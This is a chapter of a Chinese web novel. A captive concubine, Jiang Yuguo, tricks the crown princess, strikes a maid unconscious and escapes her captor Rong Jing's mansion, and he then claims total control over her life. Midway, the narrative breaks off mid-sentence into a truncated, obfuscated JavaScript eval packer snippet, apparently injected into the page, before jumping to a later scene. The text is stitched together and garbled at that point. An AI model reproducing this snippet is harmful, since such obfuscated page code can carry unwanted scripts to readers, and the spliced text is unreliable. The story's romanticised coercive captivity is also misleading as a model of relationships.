流言有鼻子有眼,在市井坊间传得沸沸扬扬,虽未指名道姓,但指向性明确,几位闺秀的名声或多或少都受了损。 永福公主又在某次春日宫中小宴上,天真无意的提起:“听说容璟表哥要议亲了?不知是哪家姐姐这般有福气?不过呀,我好像听说......” 她掩唇轻笑,未尽之语引人遐想,意有所指的目光轻飘飘扫过席间几位家中有适龄女儿的重臣女眷,当场便让受邀在座的几位风闻在候选之列的小姐脸色煞白,寻了借口匆匆离席。 经此一闹,这几桩原本颇有前景的议亲,便彻底搁浅了。 京中稍有些门路的人家都看得分明,永福公主这番作态,哪里是天真无意?分明是杀鸡儆猴。 她虽曾被容璟明言拒婚,可那份痴心与随之而来的独占欲与破坏力,却并未因此削减分毫。 她今日能笑着用流言毁人清誉,令议亲不成,来日若真有人越过她成了荣国公世子夫人,以她备受宠爱的公主身份和一贯骄纵狠辣的性子,会做出何等更酷烈的事情来,谁也不敢预料。 一时间,纵使容璟人才出众,权势煊赫,这世子正妻之位,也成了令人望而生畏,甚至暗藏杀机的烫手山芋。 消息灵通的人家,已然悄悄将自家女儿的名字,从任何可能与荣国公府联姻的名单上划去。 宁可另觅稳妥的亲事,也不愿去触永福公主的霉头,平白为家族招来不可测的祸患。 老夫人闻讯,气得摔了茶盏,将容璟唤去,脸色铁青:“你看看!这叫什么事!好端端的议亲,闹得如此乌烟瘴气!定是永福那丫头因爱生恨,从中作梗!如今这几位姑娘名声受损,还如何议得下去?” 可事已至此,面对一个深受帝宠,行事无忌的公主,即便是国公府,一时也难以硬碰,更无法强行再议。 容璟的婚事,便在这看似偶然实则必然的风波中,再次被无形的按下了。 流言与宫宴风波后,老夫人铁青着脸将容璟唤至跟前。 容璟垂手而立,脸上惯有的温润被一层恰到好处的沉重与困扰所取代,他没有急于辩解,反而在老夫人开口前先一步沉声道:“祖母息怒,事已至此,皆是孙儿思虑不周,累及家门清静,更牵连无辜。” 他语气平静,却将牵连无辜几字咬得清晰,目光坦然迎向老夫人。 “永福公主的心性,祖母与孙儿皆深知,此番仅是流言与难堪,若我们强硬反击,或执意另选,恐她下一步......便不只是毁人清誉这般简单了。” 容璟略一停顿,声音更低,带着一丝不易察觉的寒意:“孙儿身在刑部与青龙台,所见阴私不少,匹夫无罪,怀璧其罪,孙儿正妻之位,眼下已成怀璧之身。为免日后酿成无法挽回的祸事,不若......暂且冷置。” 老夫人听他冷静分析利害,胸中怒火渐熄,取而代之的是一种深重的无力与不甘。 她何尝不知永福骄纵背后意味着什么?硬碰绝非上策。 可容璟的婚事和国公府的承嗣,难道就这么被搅黄? 老夫人捻着佛珠,眉头紧锁:“难道就这么算了?你的年岁,府里的承嗣,都不能再拖!” 容璟语气恭顺,却毫无转圜余地:“孙儿明白,只是眼下绝非良机,请祖母暂忍一时之气,待这股邪风过去,或待朝中局势有变,再议不迟。” 容璟刻意模糊了局势有变的指向,老夫人却瞬间联想到太子与睿王的争斗,心下更沉。 她看着容璟沉静却坚定的眼眸,知道此事已无法立刻转圜,长叹一声,终是挥了挥手:“罢了,且依你,但此事不能就此作罢,我明日便递牌子进宫,总要讨个说法!” 容璟躬身应下,退出时眼底一片了然,他知道祖母不会完全死心,而这场宫廷觐见,说不定可以彻底打消念头的关键。 次日,老夫人果然入宫求见了皇后。 皇后倒是客气,听老夫人委婉诉苦后,也表示为难。 “永福那孩子,自小被陛下和贵妃娇纵惯了,本宫这个嫡母,有时也说不得重话。” 说到这里,皇后随即话锋一转,压低了声音:“不过,老夫人所求,陛下其实也知晓。昨日陛下还同本宫说起,若是潜玉那孩子实在为难,倒有个一劳永逸的法子。” 老夫人心下一动:“请娘娘明示。” 皇后意味深长的笑了笑:“陛下说,永福痴心,众人皆知,若潜玉愿‘顺从圣意’,暂且应下与永福的婚事,一来可安贵妃与睿王之心,让他们以为拉拢到了荣国公府,二来嘛......” 皇后指尖蘸了茶水,在案几上轻轻写了一个弛字。 “待其外家得意忘形,漏出破绽,与东宫里应外合,一举扳倒,届时这婚约,自然有法子顺应时势的作废,如此,既全了陛下的谋划,也解了府上的烦恼,岂不两全?” 老夫人听完,只觉一股寒气从脚底直冲天灵盖! 这哪里是两全?这是要将她的容璟,将整个荣国公府彻底推到风口浪尖,成为陛下和东宫铲除异己的活靶子和诱饵! 假意订婚,与虎谋皮! 事成之前凶险万分,事成之后污名难脱,甚至可能弄假成真。 她这才彻底明白,在帝王眼中,容璟的婚事不过是一枚可以随意摆放,甚至牺牲的棋子。 那份所谓的宠爱或许是假,帝王心术的冷酷算计却是真。 “娘娘!” 老夫人立刻起身,深深一拜,语气是前所未有的惶恐与坚决。 “此计......此计太过凶险!老身万万不敢让潜玉涉此奇险!荣国公府世代忠良,只愿为陛下安稳办事,绝不敢行此诡谲之道,更不敢将天家公主的婚姻视为儿戏。此前议亲之事,皆是老身思孙心切,操之过急。如今想来,潜玉年纪尚轻,又肩负要职,确应以国事为重,婚事......婚事暂且不提也罢!万请娘娘回禀陛下,老身与潜玉,绝无此意,但求陛下明鉴!” 她这番话说得又快又急,几乎是用不敢和忠心堵死了所有可能。 皇后深深看了她一眼,眼中闪过一丝难以捉摸的神色,最终只是温言安抚:“老夫人言重了,既是府上不愿,本宫自会禀明陛下,陛下也是一片好意,既然府上有其他考量,那便罢了。” 从宫中出来,老夫人后背已被冷汗浸湿。 她此刻再无一星半点催婚的心思,只剩下后怕与庆幸,庆幸容璟之前态度坚决的拖延,更庆幸自己入宫这一趟,窥见了水面下的可怕漩涡。 于是,容璟的婚事彻底搁浅,且短期内无人再敢提及的消息,比之前更加确凿地传回了国公府。 这消息也传到了几乎与世隔绝的汀兰水榭。 某个午后,洒扫的丫鬟在窗外低声唏嘘:“听前头姐姐说,老夫人都进宫了,回来后再也不提世子爷的婚事,还吩咐上下不许再议论,看来是彻底黄了,永福公主真是厉害......” 院子里蜷在躺椅上仿佛睡着的姜于归,眼睫几不可察的颤动了一下,面上依旧死寂。 只是那宽大袖袍下,纤细的手指,极其缓慢的,再次蜷缩了一下,比上一次,更用力了些。 容璟当夜踏入水榭时,敏锐的察觉到了那一丝不同。 她依旧不看他,不回应,但空气中那令人窒息的绝望里,似乎混入了一丝极淡的,冰冷的近乎洞悉的嘲弄。 他知道,她听到了。 容璟没有像往常一样直接靠近,而是停在离床榻几步远的地方,像是欣赏一幅已经完成装裱的画。 他开口,语气平淡得像在说别人的事:“府里近日有些嘈杂,想必你也听到些风声,不过是些无谓的琐事,已经解决了。” 床榻上的人毫无反应,连呼吸的节奏都未曾改变。 容璟并不在意,继续用那种陈述事实的口吻说道:“祖母有些着急,觉得我该娶妻,我与祖母说清楚了,眼下没有这个必要,也不会——有这个可能。” 他的目光落在姜于归锦被下,隐约露出一点金色脚环的脚踝。 容璟缓缓走近,在床边坐下,目光如同实质,落在姜于归紧闭的眼睫上:“有些人,有些事,一旦认定了,就不喜欢再有旁人置喙,或横生枝节,于我而言,清理掉这些枝节,不算难事。所以,你也不必为这些无关之事,费任何心思。” 这不是告知,而是宣告,言下之意是,姜于归你看,为了让你身边清净,我什么事都做得出。 你也不要指望任何可能指望的外力和变数,这些我都可以掐灭,你的世界,从今以后,由我完全定义。 最后,容璟极轻的叹一口气,指尖拂过姜于归的发丝,开口道:“于归,你的归宿在这里,也只能在这里,从前是,现在是,以后更是,外面那些纷扰,都与你无关了。” 自那日脚踝换上赤金铃铛,又被容璟那番话彻底碾碎幻想后,姜于归表面上似乎真的认命了。 送来的药膳与汤药,她不再明显抗拒,虽仍吃得少,却也能每日按时用下。容璟看在眼里,面上不动声色,心下却开始了下一步的盘算。 纯粹的隔绝与压制,只会让猎物在沉默中枯萎或变得更为狡猾。 于是,在观察了姜于归一段时间饮食后,容璟开口允了她每日午后可在汀兰水榭的庭院内活动,只是须有数名仆妇远远跟着,脚上的金铃也依旧在响。 这微小的自由,像投入枯井的一线天光,瞬间照亮了姜于归死寂的心底。 姜于归贪婪地呼吸着庭院里带着泥土和植物气息的空气,每一步都走得极其缓慢克制,竭力让脚踝的铃铛只发出最轻微规律的声响,仿佛真的只是在安静散步。 她将所有重新燃起的,疯狂滋长的念头,死死压在低垂的眼睫和麻木的神情之下。 几乎就在她开始在庭院放风的同时,太子妃沈氏再次亲至荣国公府。 自上次灯会“摔伤”事件后,太子妃心中一直忐忑。 她数次派人送来名贵补品药材,皆被容璟客气体面的收下,却始终未能得见姜于归一面,这让她愈发不安,深恐容璟因此事与东宫生了嫌隙。 如今过去许久,太子妃估摸着姜于归伤势应该好转,她便再也坐不住,想着务必亲自登门探望,一为致歉,二为亲眼确认,三更是为了维系关系。 书房内,容璟听了长青的禀报,指节在案几上轻轻叩击,片刻后,唇边掠过一丝极淡的,冰冷的笑意。 “那便请太子妃去花厅稍候。”他吩咐道,随即起身,亲自去了汀兰水榭。 容璟看着安静坐在窗边的姜于归,语气平和的告知了太子妃来访,并表示若她愿意,可见上一见。 姜于归闻言,长久的沉寂被打破,眼中闪过一丝极其复杂的微光。 有警惕,有猜测,更有一丝难以言喻的,仿佛抓住什么浮木般的悸动。 她抬起眼,迎上容璟审视的目光,缓缓点了点头,声音干涩:“但凭世子安排。” 会面安排在水榭旁一处临水的小轩,仆妇皆退至廊下。 太子妃见到姜于归,见她虽清减苍白,但行动无碍,悬着的心才放下大半,拉着她的手说了许多关切歉疚的话。 姜于归只是安静的听,偶尔点头,应答间滴水不漏,绝口不提受伤的真相,只顺着太子妃的话,说自己不慎,休养这些时日已大好。 太子妃见她如此懂事,心中更生几分怜惜与好感,话也多了起来。 闲聊间,太子妃不经意提起:“妹妹身子好了便好,眼看着潜玉的生辰也要到了,届时好好热闹一番才好。” 姜于归心头猛的一跳! 容璟的生辰?她竟全然不知。 去岁此时,她正因为避子药之事被老夫人关入柴房,与外界隔绝,哪里知道这些。 此刻听闻,一个模糊却大胆的念头,如同暗夜里的火星,骤然在她死寂的心原上迸溅开来。 机会......这或许是一个绝佳的机会! 容璟生辰宴,府中筹备宴会必然人来人往,守卫注意力分散...... 而且最关键的是,容璟从未向太子妃透露她逃跑之事,太子妃至今仍以为上次是意外“摔伤”! 这意味着,太子妃对她并无戒备,甚至因愧疚而愿意示好。 思及此,姜于归抬起眼,看向太子妃,脸上努力绽开一抹羞涩又期待的笑意,眼中适时流露出依赖与求助的光芒:“不瞒娘娘,此事......妾身正想求娘娘帮忙。” 太子妃面露疑惑,而姜于归声音压低,带着几分小女儿的娇态与不安。 “世子待妾身恩重,妾身总想为他做些什么。不知......可否请娘娘帮妾身一个忙?妾身想悄悄为世子备一份生辰贺礼,给他一个惊喜,只是所需之物有些特别,妾身出不去,也无人可托......” 姜于归欲言又止,恰到好处地流露出为难与恳求。 太子妃一愣,本能的想要婉拒。 她上次帮忙就出了大纰漏,哪里还敢轻易应承? 可看着姜于归那双满是恳切,将自己视为唯一倚仗的眼睛,再想到她毕竟是容璟如今最着紧的人,若是能真正施恩于她,让她在东宫与容璟之间偏向自己,岂不是比单纯送礼示好更有用? 何况,只是帮忙准备一份惊喜贺礼,在自己严密把控下,能出什么岔子? 这次,她亲自盯着,绝不容有失。 心思电转间,太子妃脸上的迟疑化为了温和的笑意,反握住姜于归的手:“妹妹有心了,潜玉知道,必定欢喜,你需要什么,尽管同我说,我定替你办得妥妥当当。只是这次......” 说到这里,太子妃语气稍重,半是玩笑半是认真:“妹妹可千万要小心,别再摔着了。不然,潜玉可真要怨死我了。” 姜于归心中冷笑,面上却露出感激又依赖的神色,轻轻点头:“多谢娘娘。有娘娘周全,我便放心了。” 太子妃的帮忙效率极高,姜于归想要的东西被一一送来。 姜于归知道这些东西定然都不可能瞒过容璟的眼线,所以姜于归要的东西都不是什么可疑之物,反而稀松平常。 比如一些看似用于制作手工贺礼的特殊颜料,纸张,丝线,几样需要特别渠道才能购得的江南新奇玩意,还有......借口需要新鲜花材装饰礼盒...... 太子妃不疑有他,甚至觉得这想法别致浪漫,有助于增进夫妻感情,便欣然应允。 容璟生辰当日,国公府设宴,虽不算极其铺张,却也宾客盈门。 太子妃作为重要宾客早早到来,心中带着一种参与了惊喜的隐秘期待。 姜于归作为侧室,本不必列席正宴,但因是寿星心尖上的人,也被允许在宴席中途出来敬酒露个面。 她打扮得比平日更精心几分,举止温婉柔顺,向容璟敬酒时,甚至还对他露出了一个极淡的,似乎带着情意的笑容。 容璟看在眼里,举杯回敬,温润笑意之下,是唯有他自己知晓的,冰冷的玩味与期待。 敬酒过后,姜于归便以酒力不支为由告退。 一个沉默的嬷嬷跟随着姜于归返回,转入通往内院的回廊后,喧嚣渐远,廊下只余灯笼投下的摇曳光影。 行至一处岔路口,一边通往幽静的汀兰水榭,另一边则延伸向为今日女客预备的,几处独立小巧的暖阁歇处。 姜于归脚下忽然一个踉跄,身子软软的往嬷嬷身上靠去,眉心紧蹙,声音虚浮:“里头酒气熏人,闷得我心头直慌......扶我去暖阁那边透透气罢,这般模样回去,怕要呕出来,更不象话。” 姜于归手指冰凉,微微颤抖,确是一副难受模样。 嬷嬷看了看姜于归没说话,又见这暖阁确在府内安全之处,且今日或许有女眷使用,便点头应了,转头对身后的其他小丫鬟道:“你且先回水榭,将备好的醒酒汤温着,再取件披风来。” 支走一人,姜于归半倚在栏杆上,脚步虚浮的朝暖阁方向挪去。 暖阁临着一片小巧莲池,颇为清幽,此刻因宴席正酣,并无人迹,嬷嬷扶她在临水的栏杆旁坐了,道:“夫人稍候,奴婢去里头瞧瞧可有干净的茶水。” 就在嬷嬷转身推开暖阁门扇的刹那,姜于归一直低垂的眼睫倏然抬起,眸中哪还有半分醉意与虚弱,只剩下冰封般的决绝与一丝孤注一掷的锐光。 姜于归的目光如电般扫过脚边,精准的锁定了一块半嵌在泥地里光滑的鹅卵石。 没有丝毫犹豫! 电光石火间,她已弯腰抄起那块石头,用尽全身力气朝着背对自己的嬷嬷后颈狠狠砸去! “呃!” 一声短促的闷哼,嬷嬷甚至没来得及回头,便身体一软,向前扑倒在门槛上,失去了意识。 姜于归急促的喘息着,握着石头的手微微颤抖,指节因用力而泛白。 她死死盯着倒在地上的身影,心脏在胸腔里狂跳如雷,几乎要撞碎肋骨。 这不是她第一次伤人了,但心中依旧恐惧,可是很快便被更汹涌的求生欲淹没。 她不能停! 姜于归迅速扔掉沾了尘土的鹅卵石,动作快得几乎带出残影。 随后,姜于归一把扯下身上那件颜色鲜亮的碧色织锦外衫,胡乱团了团,顺势丢在地上。 随后拔下嬷嬷的外衫套上,再把自己华丽的衣服披在嬷嬷的身上。 紧接着姜于归飞快拔下头上几支略显招摇的珠钗,只留下一根最普通的银簪,将散落的青丝三两下牢牢挽紧,缩成一个最不起眼的圆髻。 整个过程在巨大的紧张驱使下,快得惊人,不过三两个呼吸之间。 姜于归最后仓促的看了一眼脚踝,那里,赤金细链与铃铛已被她晨起时便用撕下的柔软帕子密密缠裹了数层,此刻像个沉默而顽固的瘤,安静的伏在骨头上。 不能再耽搁!远处隐约的人声似乎正在靠近。 姜于归像一尾被惊动的滑溜的鱼,倏的侧身,不再看地上昏迷的嬷嬷一眼,毫不犹豫的隐入了暖阁旁那片倚墙而生的茂密竹林中。 竹叶被她撞得沙沙作响,瞬间吞噬了她纤细的身影,只留下满地凌乱的光影,和暖阁门前无声无息倒伏的人形。 这不是盲目的乱闯。 之前她管理府中庶务时,早就把府里的环境路径,以及守卫换防探查清楚。 即便容璟定期更换换防时间,这些时日,姜于归借着服药后需走动散性,遵医嘱晒片刻太阳的由头,也再次摸清守卫换防的大致规律。 她知道,今日前院大宴,内院护卫主力必被调往前庭与库房重地,她更知道,连接各处院落的游廊,在宴席中段最是入少。 还有西北角那扇专供运送果蔬柴炭的侧门,过了午后申时,第一批新鲜物什送入,宴席所需备齐后,守卫最为松懈,常有仆役借此偷闲。 以及暖阁后这片竹林紧邻的,正是府中浣洗衣物,靠近下人居所的一处偏僻窄院,墙头并不算高。 竹影婆娑,隔绝了光线与声响,姜于归屏住呼吸,提起裙摆,沿着记忆中的方向,在嶙峋假山石的阴影间快速穿行。 她的心跳在耳边轰鸣,每一次落脚都极轻极稳,远处正厅隐约传来的丝竹笑闹声,此刻成了最好的掩护。 果然,这一路静得出奇,预想中可能会遇到的巡逻护院,一个也未现身,连寻常洒扫的粗使婆子也不见踪影。 这一次的逃离,过分的顺利了,像一根细微的冰刺,猝然扎进她紧绷的神经。 太安静了......静得反常,静得让她心底发毛。 但开弓没有回头箭,姜于归强迫自己压下那瞬间升腾的疑惧,目光锁定了前方那道爬满枯藤的灰墙。 墙根散落的几块废石,成了垫脚,她深吸一口气,手脚并用,抓住那些看似脆弱却颇为坚韧的老藤,借力向上。 粗糙的墙面摩擦着掌心与裙裾,姜于归却浑然不觉疼痛,只死死咬住下唇,将所有力气凝聚在手臂和脚尖。 翻上墙头的一瞬,她不敢停留,甚至没有看清墙那边的具体情形,便闭眼往下跳去。 落地时一个趔趄,脚踝处传来被金链硌到的钝痛,姜于归闷哼一声,顺势滚入墙根一丛半人高的荒草中。 浓重的尘土气和潮湿的腐叶味冲入鼻腔,姜于归伏在草里,剧烈喘息,想咳嗽都不敢太大声,耳朵却竖得尖尖的,捕捉着任何一丝不寻常的动静。 半晌,只有风吹过荒草的窸窣,她这才慢慢抬起头,打量四周。 这里比想象中更荒僻,似乎是堆放破损花盆,废弃家具的角落,紧邻一条水质浑浊,漂浮着烂叶的排水沟,远处,能看到低矮的灶房屋顶和晾晒的粗布衣衫。 成了......真的出来了?从内院最核心的暖阁,到这片下人区域的荒僻角落? 狂喜如岩浆般骤然涌上,几乎要冲垮姜于归的理智,但随即,那股过于顺利的冰冷疑窦,以更汹涌的姿态反扑回来。 每一步都像是踩在别人铺好的路上,每一个预想中的阻碍都恰好消失,这真的是凭她自己的谋算和运气就能做到的吗? 然而,自由的气息近在咫尺,像最烈的酒,熏得姜于归眼眶发热,头脑发晕,那点疑虑在求生欲的熊熊烈火面前,显得如此微不足道。 姜于归猛的摇头,将纷乱的思绪甩开,现在不是琢磨的时候! 接下来,是最后,也最危险的一关,如何从这府邸的西北区域,真正走到府外去。 她记得那条排水沟的尽头,似乎汇入府外墙根下的暗渠,而附近,应该有一道专供运送垃圾,泔水出府的小门,平日由最下等的仆役和粗使婆子经手。 姜于归沿着沟边杂草丛生的小径低头疾走,路上偶遇一两个行色匆匆的仆役,都只顾着忙自己的活计,无人多看这普通丫鬟一眼。 越靠近预想中的区域,酸腐的气味越浓。 果然,在一排低矮的灶房后面,她看到了那道窄小的,油污厚重的木门。 门虚掩着,门外停着两辆散发着馊臭气味的板车,几个婆子正一边抱怨着宴席剩菜太多,一边将沉重的泔水桶往上抬。 门边坐着一个满脸油汗,昏昏欲睡的老苍头,手里拿着本破烂账册似的东西,有一搭没一搭的翻着。 姜于归的心提到了嗓子眼,她低下头,扫过地上的泔水,行为自然的提起一桶,混入提泔水出府的婆子队伍里。 就在她即将靠近门洞时,那老苍头忽然抬起眼皮,浑浊的目光扫了过来。 姜于归浑身一僵,袖中的手瞬间攥紧,指尖掐进掌心。 然而,那目光只在她身上停留了一瞬,便懒洋洋的移开了,落在她身后某个空处,嘟囔了一句:“快点快点,别堵着路......” 随后挥了挥手,示意她过去。 没有盘问,没有检查,甚至没有多看一眼。 姜于归几乎是机械的,同手同脚的跟着前面推车的婆子,侧身挤出了那道狭窄,油腻,散发着复杂气味的门洞。 当府外更开阔,更杂乱,但也更自由,让她有一刹那的眩晕。 真的......出来了? 身后,国公府那堵高墙将喧嚣与锦绣彻底隔绝,眼前是暮色渐浓的陌生街巷,行人步履匆匆,贩夫走卒的吆喝隐约传来,带着市井特有的尘土与烟火气。 那股一直被她强行压抑的,关于顺利的骇然与惊疑,此刻再也压制不住,化作一阵冰冷的战栗,从脚底直窜上脊背。 太奇怪了。最后这道关卡,简直形同虚设。 这真的是她谋划精密,运气绝佳吗?还是...... 姜于归不敢再想下去,巨大的后怕和逃离成功的虚脱感交织着袭来,让她双腿发软。 但她狠狠一咬舌尖,尖锐的疼痛换来片刻清醒。 不能停!绝对不能停在这里! 姜于归拉紧头上的布巾,将脸埋得更低,甚至不敢回头看一眼那刚刚脱身的牢笼,便迈开发软的双腿,跌跌撞撞的奔去起来。 夜色正悄然四合,将姜于归仓皇的身影吞没在纵横交错的陋巷深处。 而在那锦绣繁华的国公府内,宴席的气氛恰至最酣,丝竹盈耳,觥筹交错。 太子妃正与一位郡王妃品评着今春江南新贡的云锦花样,言笑晏晏间,眼角眉梢却掠过一丝极淡的,连她自己都未必全然察觉的疑虑。 那姜氏离席许久了还没回来,且她说的惊喜也迟迟没有出现,是那惊喜出了岔子,难以示人?抑或是......那本就是闺阁之中不便言说的情趣,需得夜深人静时方显妙处? 思及后者,太子妃心下稍安,暗笑自己多虑,便将这念头暂且搁下。 恰在此时,她眼风扫见容璟身边的长风步履沉稳,目不斜视的穿过笑语喧哗的人群,径直走到主位前,对正与某位大人举杯的容璟躬身一礼,以极低的声音快速禀报了几句。 容璟脸上那温煦得体的笑容未变,举杯致意的手势也未停,甚至与对面大人将杯中酒一饮而尽的动作都流畅自然。 唯有离他最近,又一直留心着的太子妃,捕捉到了那一闪即逝的细微异样。 容璟握着酒杯的指尖,几不可察的收紧了一瞬,杯沿抵在唇边的时间,似乎比平常长了那么一息。 随即,他放下酒杯,转向长风,面上依旧是无可挑剔的从容,甚至带着点无奈的笑意,低声吩咐了句什么,声音太轻,淹没在周围的喧嚣里,听不真切。 长风领命,垂首退下。 容璟则神色如常的转向席间,仿佛只是处理了一件无关紧要的小事。 可太子妃的心,却莫名的悬了起来。 那长风的神色,分明带着沉凝,绝非寻常小事。 太子妃犹豫片刻,终是按捺不住,待容璟稍得空闲,便端起酒杯,状似关切的含笑问道:“潜玉,方才见长风匆匆而来,可是府中有事?姜妹妹去了许久,怎么还没回来?可是醉酒严重?” 容璟闻言,侧过脸来,唇边笑意加深了些许,那笑容依旧温润,在璀璨灯下更显俊美无俦。 容璟摇了摇头,语气里带着三分纵容,七分无奈的调侃:“让娘娘见笑了,不是什么大事,许是于归今日高兴,方才躲在后头自个儿多贪了几杯,这会儿醉得有些糊涂,正闹头疼呢,怕是没法子再来了,我已让人去照看,扫了娘娘雅兴,实在不该。” 他这番话说得轻松自然,滴水不漏,再次将一场姜于归的逃离,轻描淡写的归结为醉酒失态,既保全了姜于归和国公府的颜面,也给了太子妃一个看似合理的解释。 太子妃听了,面上笑着应和:“原来如此,妹妹真是......率真可爱。” 话是这么说,可太子妃心底那丝疑虑却并未全然散去。 贪杯醉酒?那姜氏往日看着并非不知轻重之人,尤其在今日这般场合...... 可转念一想,容璟既如此说,神态又这般自若,或许真是自己多心了? 况且,姜于归若真在此刻出了什么了不得的岔子,对自己,对东宫又有何好处? 上一次摔伤的余波尚未完全平息,这次若再牵扯上照看不周,后果不堪设想。 利弊权衡之下,那点疑虑被强行压了下去。 太子妃不再多问,只顺着容璟的话笑道:“无妨,让妹妹好生歇着便是,今日是潜玉的生辰,想来于归妹妹应该也为你准备了礼物,本想当面瞧瞧是什么新奇玩意儿呢,倒是不凑巧了。” 容璟闻言,唇边的笑意似乎更深了些许,眼底却掠过一丝极淡的,旁人难以察觉的幽暗。 他执杯的手指几不可察的微微一顿,随即语气温和如常,甚至带上了一丝恰到好处的,仿佛被提醒后才想起的轻柔:“是啊,她前两日还提过,想给我一个惊喜。我也......很期待呢!” 席间重新恢复了热闹,容璟依旧周旋于宾客之间,言笑晏晏,举止从容,仿佛方才那段小插曲从未发生。 唯有偶尔,当他的目光掠过水榭方向,或落在远处沉沉的夜色之中时,那深邃的眼底,才会掠过一丝旁人绝难察觉的,冰冷而幽暗的微光,如同静海之下潜流的暗涌。 夜色浓稠,远处街上隐约传来犬吠与更夫拖长的梆子声。 姜于归裹紧身上粗陋的灰布衣裙,踩在冰冷肮脏的石板路上,每一步都小心翼翼,她像一只受惊的狸猫,专挑最阴暗,最僻静的角落躲藏,耳朵却时刻竖着,捕捉着身后任何一丝不寻常的动静。 马蹄声,脚步声,铠甲摩擦声,或者那些刻意压低的,属于搜寻者的交谈。 国公府的人动作比她预想的更快,不到一个时辰,她便察觉了前来追寻她的府中护卫。 姜于归的心几乎要从嗓子眼里跳出来,死死捂住嘴,连呼吸都屏住了,直到那队人消失在另一条巷子的拐角,冷汗才后知后觉的浸透了内衫。 不能停,必须往更深处逃。 之前她对在南城居住,较为熟悉,可是那个地方也被容璟找到,并不安全。 所以姜于归快速去了那个屋子,寻找到隐秘角落,找到被她藏起来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那是是去年冬天,姜于归在那个在街头遇上的,弹着破旧琵琶,冻得手指通红却依然努力调音卖艺的小女孩!她还曾蹲下身,帮那孩子调试过琴弦...... 小女孩显然也认出了她。 姜于归心头剧震,没想到在此绝境,竟会被一个只有一面之缘的孩子认出。 她下意识想否认,却见小女孩目光飞快的扫了一眼她身后紧闭的破门,又竖起耳朵听了听外面隐约残留的搜寻动静,那张小脸上忽然闪过一种与她年龄不符的紧张。 小女孩没有再多问,只是朝着姜于归急切又无声的招了招手,示意她跟上,然后像只灵活的小老鼠,转身钻进了柴垛后面一个更隐蔽的,被破席子半掩着的低矮洞口。 求生的本能压过了一切疑虑,姜于归一咬牙,也顾不得许多,跟着俯身钻了进去。 洞口后面是一条更加狭窄,仅容一人弯腰通行的夹道,充满了尘土和霉味。 小女孩在前面带路,七拐八绕,最终推开一扇同样破旧的小门,将姜于归拉进了一间低矮,昏暗但尚能遮风挡雨的土坯房里。 屋里只有最简单的土炕和破桌,一个病弱的老妇人躺在炕上咳嗽。 小女孩示意姜于归躲到炕角的阴影里,又匆忙拉过一床打着补丁的旧被子盖在她身上,低声道:“阿婆眼睛不好,耳朵也不灵光,姐姐别怕,在这儿躲一躲。” 直到蜷缩在带着汗味和草药味的旧被下,听着老妇人断续的咳嗽和小女孩刻意放轻的走动声,姜于归才感到一阵劫后余生般的虚脱,冰冷的四肢渐渐恢复了一点知觉。 她看着那瘦小的身影摸黑倒了半碗水,小心的端到她藏身的角落,心里涌起一股难以言喻的,混杂着感激,酸楚和更深忧虑的复杂情绪。 而就在小女孩拉着姜于归钻进夹道后不久,那条死胡同的入口处,一个身影无声的浮现。 来人穿着一身与夜色几乎融为一体的深色劲装,脸上戴着一张只遮住上半张脸,雕刻着简单流云纹路的银质面具。 他身姿挺拔,悄无声息,仿佛一直就静立在阴影里,目睹了方才门口短暂的搜寻,也看到了姜于归惊慌躲入小院,以及......那个从柴垛后出现,将她拉走的小小身影。 面具后的目光,幽深难测,静静的落在姜于归消失的那扇破门上,又缓缓转向小女孩和姜于归钻入的那个隐蔽洞口方向。 他原本垂在身侧,指节分明的手,几不可察的动了一下,仿佛下意识要采取某种行动,或是发出某个信号。 但最终,那只手只是慢慢握紧,又缓缓松开。 他沉默的站在那里,如同夜色本身凝聚而成的一道剪影,直到远处隐约又传来另一队搜寻者的脚步声,才身形一晃,如同鬼魅般悄然退后,彻底融入了更深的黑暗之中,仿佛从未出现过。 只有夜风拂过巷口,卷起几片枯叶,无声的诉说着方才那短暂一瞥里,面具下那双眼睛中一闪而过的,冰冷的审视与一丝被打乱计划的不悦的微芒。 姜于归在破屋里捱过了心惊胆战的两日,如同惊弓之鸟,任何风吹草动都让她脊背发凉。 白日里,她给了一点碎银子给那小女孩儿,小女孩儿名叫禾苗,姜于归低声嘱咐她去给婆婆抓药,禾苗有些拒绝不好意思收,姜于归说算是她住在这里的报酬,禾苗才答应。 而姜于归只敢蜷在屋内最暗的角落,竖起耳朵捕捉着外面巷子里的每一点声响,那偶尔经过的沉重脚步声,那刻意压低的交谈,都像是追兵逼近的号角,让她一遍遍确认着藏身之处的破门是否闩紧。 就在禾苗揣着药包,低着头匆匆钻进巷子后不久,外面忽然传来一阵与贫民窟迟缓节奏格格不入的,急促而踉跄的奔跑声,紧接着是□□撞上木板的闷响,以及一声压抑的,带着痛楚的抽气。 姜于归浑身一僵,血液仿佛瞬间冻结。 不等她做出反应,那扇本就摇摇欲坠的破门被从外面猛的撞开,一个高大的黑影挟着浓重的血腥气和夜风的寒意,跌跌撞撞的扑了进来,几乎栽倒在地。 来人穿着一身便于行动的深色劲装,料子不显眼,但浸染了大片暗沉的血迹。 最刺目的是他脸上覆着一张银质面具,遮住了整张脸,只露出线条冷硬的下颌,和紧抿的失了血色的唇。 他一手死死捂着肋下,指缝间暗红不断渗出,另一只手勉力撑住墙壁,才没有彻底倒下。 面具后的眼睛锐利如淬火的鹰隼,在昏暗的光线中急速扫过逼仄的屋内,瞬间便锁定了阴影里那道纤细的身影。 那目光在她脸上停留了一瞬,带着一种审视猎物般的冰冷评估,以及一丝极其隐晦的,几乎难以察觉的复杂光芒,仿佛确认了什么早已料定的答案。 然后,一个因失血而略显沙哑,低沉,却又因某种古怪的熟稔而显得意味深长的声音,打破了屋内的死寂。 “真巧!又见面了,姜......姑娘。” 姜于归的心脏像是被一只冰冷的手狠狠拽住,骤然停止了跳动! 又见面? 她何时见过这样一个人?一个戴着面具,满身是血,气息危险如濒死野兽的男人? 那声音......那声音刻意压得低沉沙哑,她辨不清是否听过,但那语调里一丝若有若无的,令人极不舒服的熟稔,像细针般扎进她的神经。 难道是容璟派来的人?用这种诡异的方式试探她?可若真是追兵,何必伤成这样?还说出这种莫名其妙的话? 禾苗吓得往她身后缩,老妇人在炕上发出不安的呻吟。 